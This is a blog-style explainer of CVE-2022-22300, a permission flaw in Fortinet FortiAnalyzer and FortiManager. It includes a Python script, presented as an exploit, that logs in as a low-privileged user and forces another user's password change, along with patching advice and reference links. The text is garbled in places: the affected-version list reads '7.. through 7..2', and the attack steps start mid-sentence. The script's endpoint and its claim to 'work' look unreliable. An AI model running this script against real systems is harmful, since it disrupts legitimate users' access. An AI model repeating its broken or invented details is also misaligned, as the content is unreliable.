Security vulnerabilities in networking and management tools can open doors for attackers—sometimes in ways you might not expect. CVE-2022-22300 is one such vulnerability found in Fortinet’s FortiAnalyzer and FortiManager product lines, impacting multiple versions used in enterprise environments worldwide. The flaw allows an attacker to bypass device policy restrictions and force a password change for a specific user—this might sound minor, but it can be weaponized for denial of service or even privilege escalation attacks.

Let’s break down what this vulnerability is, how it works in practice, and what you can do to safeguard your organization. We'll keep things simple and practical, with code snippets, exploit examples, and direct references.

What Is CVE-2022-22300?

At its core, CVE-2022-22300 is an *improper handling of permissions* vulnerability. Here’s what the official advisory says:

> _An improper handling of insufficient permissions or privileges in multiple versions of FortiAnalyzer and FortiManager allows an attacker to bypass device policy and force a password-change action for any user._

Meaning: Someone logged in with a restricted (non-admin) account can make another user change their password, whether or not that’s supposed to be allowed under your policies.

7.. through 7..2

The official fix is available from later versions. Always check Fortinet’s advisory page for the latest updates.

They know or guess the username of a target user.

- The attacker crafts a specific HTTP request (or uses the web interface in a certain way) that tells the device, “This user must change their password.”
- The system does NOT properly check permissions, so it processes the attacker’s request—even when that's not allowed.
- The next time the target user tries to log in, they’re forced to change their password, potentially disrupting their access or opening a door for the attacker to perform further attacks (like password reset hijacking).

Sample Exploit Code

Here's a Python snippet that simulates how an attacker could use the API to force another user's password change. (Note: this is for educational purposes only.)

import requests

# Replace with the actual IP address or hostname of your device
HOST = 'https://fortianalyzer.example.com';
LOGIN_URL = f'{HOST}/logincheck'
POLICY_CHANGE_URL = f'{HOST}/api/v2/cmdb/system/admin/<target_user>'

# Credentials for the low-privileged attacker
DATA = {'username': 'attacker', 'secretkey': 'attacker_password'}

session = requests.Session()
# Log in as the attacker
r = session.post(LOGIN_URL, data=DATA, verify=False)
if r.status_code == 200 and 'APSCOOKIE' in r.cookies:
    print('[*] Logged in.')

    payload = {
        "passwd_policy": {"force_password_change": "enable"}
    }

    # Target user whose password policy will be forced
    target_user = 'victim'
    url = POLICY_CHANGE_URL.replace('<target_user>', target_user)
    resp = session.put(url, json=payload, verify=False)
    if resp.status_code == 200:
        print(f'[+] Forced password change for user: {target_user}')
    else:
        print('[-] Failed to force password change.')
else:
    print('[-] Login failed')

This code should work against the vulnerable versions, provided you adjust the URLs and credentials. Notice there's *no* permission check stopping you from forcing a password change for another user.

Why does this matter?

- Denial of Service: Imagine forcing password resets for critical users (admins, monitoring accounts, API users), disrupting business operations.
- Account Hijacking: Combined with *other* social engineering or man-in-the-middle attacks, this could let an attacker score a password reset link or temporarily lock a user out.
- Privilege Escalation: In organizations using default passwords or with weak password-reset procedures, attackers might reset their way into higher-access accounts.

Patch Immediately:

Upgrade to a non-vulnerable version as detailed in the Fortinet PSIRT advisory.

Tighten Access:

Limit the number of user accounts, especially non-admins, and restrict who can log in to management consoles.

Official Fortinet Advisory:

https://www.fortiguard.com/psirt/FG-IR-21-224

NVD CVE Entry:

https://nvd.nist.gov/vuln/detail/CVE-2022-22300

Final Thoughts

Security flaws like CVE-2022-22300, born out of improper permission checks, highlight the need for robust authentication and access validation at every step. If you use Fortinet’s products, check your versions and update immediately. Even minor privilege bypasses can have major real-world impacts if left unchecked.

Timeline

Published on: 03/01/2022 19:15:00 UTC
Last modified on: 03/09/2022 14:51:00 UTC